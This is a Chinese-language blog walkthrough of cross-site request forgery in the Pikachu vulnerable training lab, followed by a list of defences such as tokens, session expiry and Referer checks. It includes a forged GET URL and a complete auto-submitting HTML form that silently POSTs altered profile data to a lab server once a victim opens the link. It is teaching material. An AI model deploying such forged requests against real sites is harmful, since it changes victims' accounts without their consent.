pikachu----CSRF 跨站请求漏洞

 

 CSRF 

在CSRF攻击场景中攻击者会伪造一个请求  (一个链接)

然后欺骗目标用户点击,用户一旦点击了这个请求,整个攻击也就完成了

所以CSRF攻击也被称为“one click“攻击

例子:  想要修改lucy购物地址信息  lucy必须处于登录的状态,lucy必须点击攻击链接

 

xss和csrf区别:

 

 

 

 

 

1.csrf(get)

 

登录之后,可以进入修改个人信息   然后进行抓包

 

 

将get请求修改为攻击者伪造的链接  在登录状态下点击,就可以修改用户信息

 

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&submit=submit

 

 

 

 

 2. csrf  (post)

 

 

 

 修改信息后,抓包

 

 

 如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击

 

这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,

诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。、

 

 

编写一个post.html页面,代码如下所示,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.50.100/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

 

    下面把页面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改地址信息

 

http://192.168.50.100/pikachu/doge_csrf/post.html

 

 

 

 

 

  3. csrf  Token

 

 

 

CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造

  • 每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证

 

 

 

 

GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&token=267795e467f2a0a262655625022&submit=submit HTTP/1.1

 

 

 

每次提交完访问的是  token_get_edit.php 页面    

 

、查看页面源码,会有一个隐藏的token值,  提交完 后台的token值会与提交的token值进行验证,跳过 才可以修改数据

 

 

 

 

 

 

 

 

 

 

防护措施

 

  • 增加Token验证(常用做法)
    • 对关键操作增加Token参数,token必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用) 避免登录态
    • 不要在客户端保存敏感信息(比如身份验证信息) 
    • 退出、关闭浏览器时的会话过期机制
    • 设置会话过机制,比如15分钟无操作,则自动登录超时
  • 访问控制安全管理
    • 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    • 敏感信息的修改使用POST,而不是GET
    • 通过HTTP头部中的REFERER来限制原页面
  • 增加验证码
    • 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)

 

posted @ 2020-02-14 19:18  Res0lve  阅读(349)  评论(0编辑  收藏  举报